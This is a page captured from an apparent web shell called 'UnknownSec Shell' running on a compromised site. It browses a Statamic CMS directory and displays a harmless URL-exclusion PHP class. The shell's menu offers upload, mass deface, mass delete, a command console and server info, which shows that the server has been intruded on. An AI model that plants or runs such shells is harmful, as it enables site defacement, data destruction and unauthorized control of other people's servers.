shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
StaticCaching
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
DefaultUrlExcluder.php
<?php namespace Statamic\StaticCaching; use Statamic\Support\Str; class DefaultUrlExcluder implements UrlExcluder { protected $baseUrl; protected $exclusions; public function __construct(string $baseUrl, array $exclusions) { $this->baseUrl = $baseUrl; $this->exclusions = $exclusions; } public function getBaseUrl(): string { return $this->baseUrl; } public function getExclusions(): array { return $this->exclusions; } public function isExcluded(string $url): bool { // Query strings should be ignored. $url = explode('?', $url)[0]; $url = Str::removeLeft($url, $this->baseUrl); foreach ($this->exclusions as $excluded) { if (Str::endsWith($excluded, '*')) { $prefix = Str::removeRight($excluded, '*'); if (Str::startsWith($url, $prefix) && ! (Str::endsWith($prefix, '/') && $url === $prefix)) { return true; } } elseif (Str::removeRight($url, '/') === Str::removeRight($excluded, '/')) { return true; } } return false; } }
© 2026 UnknownSec